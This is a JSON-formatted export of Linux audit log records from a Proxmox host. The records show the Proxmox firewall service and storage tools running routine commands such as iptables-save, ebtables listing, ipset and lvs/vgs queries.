{"@timestamp":1781966065483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.483:68306): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965895474,"@rawstring":"node=pve type=PATH msg=audit(1781965895.474:67553): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065480,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.480:68305): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965895474,"@rawstring":"node=pve type=PATH msg=audit(1781965895.474:67553): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.479:68304): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895466,"@rawstring":"node=pve type=PATH msg=audit(1781965895.466:67552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.479:68303): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895466,"@rawstring":"node=pve type=PATH msg=audit(1781965895.466:67552): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.474:68302): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965895458,"@rawstring":"node=pve type=PATH msg=audit(1781965895.458:67551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.466:68301): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895458,"@rawstring":"node=pve type=PATH msg=audit(1781965895.458:67551): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.457:68300): proctitle=\"iptables-save\""} {"@timestamp":1781965895450,"@rawstring":"node=pve type=PATH msg=audit(1781965895.450:67550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.447:68299): proctitle=\"ip6tables-save\""} {"@timestamp":1781965895450,"@rawstring":"node=pve type=PATH msg=audit(1781965895.450:67550): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.438:68298): proctitle=\"iptables-save\""} {"@timestamp":1781965894777,"@rawstring":"node=pve type=PATH msg=audit(1781965894.777:67549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.433:68297): proctitle=\"ebtables-restore\""} {"@timestamp":1781965894777,"@rawstring":"node=pve type=PATH msg=audit(1781965894.777:67549): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.429:68296): proctitle=\"ebtables-restore\""} {"@timestamp":1781965894751,"@rawstring":"node=pve type=PATH msg=audit(1781965894.751:67548): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.421:68295): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965894751,"@rawstring":"node=pve type=PATH msg=audit(1781965894.751:67548): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.412:68294): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=PATH msg=audit(1781965894.681:67547): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.406:68293): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=PATH msg=audit(1781965894.681:67547): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.399:68292): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=PATH msg=audit(1781965894.681:67546): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.393:68291): proctitle=697073657400726573746F7265"} {"@timestamp":1781965894680,"@rawstring":"node=pve type=PATH msg=audit(1781965894.680:67545): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.381:68290): proctitle=\"ip6tables-save\""} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PATH msg=audit(1781965894.672:67544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.374:68289): proctitle=\"iptables-save\""} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PATH msg=audit(1781965894.672:67544): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.370:68288): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PATH msg=audit(1781965894.672:67543): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.367:68287): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PATH msg=audit(1781965894.672:67542): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.366:68286): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PATH msg=audit(1781965889.663:67541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.366:68285): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PATH msg=audit(1781965889.663:67541): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.361:68284): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PATH msg=audit(1781965889.663:67540): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065347,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.347:68283): proctitle=\"ip6tables-save\""} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PATH msg=audit(1781965889.663:67539): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.340:68282): proctitle=\"iptables-save\""} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PATH msg=audit(1781965889.655:67538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.335:68281): proctitle=69707365740073617665"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PATH msg=audit(1781965889.655:67538): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.323:68280): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PATH msg=audit(1781965889.655:67537): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065315,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.315:68279): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PATH msg=audit(1781965889.655:67536): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.262:68278): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885437,"@rawstring":"node=pve type=PATH msg=audit(1781965885.437:67534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.262:68277): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885437,"@rawstring":"node=pve type=PATH msg=audit(1781965885.437:67534): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.262:68276): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885434,"@rawstring":"node=pve type=PATH msg=audit(1781965885.434:67533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.253:68275): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885434,"@rawstring":"node=pve type=PATH msg=audit(1781965885.434:67533): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.253:68274): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=PATH msg=audit(1781965885.433:67532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966065.253:68273): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=PATH msg=audit(1781965885.433:67532): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966064253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966064.253:68272): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=PATH msg=audit(1781965885.433:67531): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966064226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966064.226:68271): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=PATH msg=audit(1781965885.428:67530): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.243:68270): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=PATH msg=audit(1781965885.428:67530): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.243:68269): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=PATH msg=audit(1781965885.428:67530): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.243:68268): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885420,"@rawstring":"node=pve type=PATH msg=audit(1781965885.420:67529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.232:68267): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885420,"@rawstring":"node=pve type=PATH msg=audit(1781965885.420:67529): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.232:68266): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885412,"@rawstring":"node=pve type=PATH msg=audit(1781965885.412:67528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966060232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966060.232:68265): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885412,"@rawstring":"node=pve type=PATH msg=audit(1781965885.412:67528): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.303:68264): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965885404,"@rawstring":"node=pve type=PATH msg=audit(1781965885.404:67527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055301,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.301:68263): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965885404,"@rawstring":"node=pve type=PATH msg=audit(1781965885.404:67527): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.299:68262): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885396,"@rawstring":"node=pve type=PATH msg=audit(1781965885.396:67526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.299:68261): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885396,"@rawstring":"node=pve type=PATH msg=audit(1781965885.396:67526): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.294:68260): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965885390,"@rawstring":"node=pve type=PATH msg=audit(1781965885.390:67524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.286:68259): proctitle=\"ip6tables-save\""} {"@timestamp":1781965885390,"@rawstring":"node=pve type=PATH msg=audit(1781965885.390:67524): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.278:68258): proctitle=\"iptables-save\""} {"@timestamp":1781965885384,"@rawstring":"node=pve type=PATH msg=audit(1781965885.384:67523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.270:68257): proctitle=\"ip6tables-save\""} {"@timestamp":1781965885384,"@rawstring":"node=pve type=PATH msg=audit(1781965885.384:67523): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055261,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.261:68256): proctitle=\"iptables-save\""} {"@timestamp":1781965885378,"@rawstring":"node=pve type=PATH msg=audit(1781965885.378:67522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055256,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.256:68255): proctitle=\"ebtables-restore\""} {"@timestamp":1781965885378,"@rawstring":"node=pve type=PATH msg=audit(1781965885.378:67522): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.253:68254): proctitle=\"ebtables-restore\""} {"@timestamp":1781965885372,"@rawstring":"node=pve type=PATH msg=audit(1781965885.372:67521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055247,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.247:68253): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965885372,"@rawstring":"node=pve type=PATH msg=audit(1781965885.372:67521): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.242:68252): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965885365,"@rawstring":"node=pve type=PATH msg=audit(1781965885.365:67520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.236:68251): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965885365,"@rawstring":"node=pve type=PATH msg=audit(1781965885.365:67520): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.219:68250): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965885359,"@rawstring":"node=pve type=PATH msg=audit(1781965885.359:67519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.225:68249): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885359,"@rawstring":"node=pve type=PATH msg=audit(1781965885.359:67519): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.225:68248): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885352,"@rawstring":"node=pve type=PATH msg=audit(1781965885.352:67518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.225:68247): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965885352,"@rawstring":"node=pve type=PATH msg=audit(1781965885.352:67518): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966055.217:68246): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 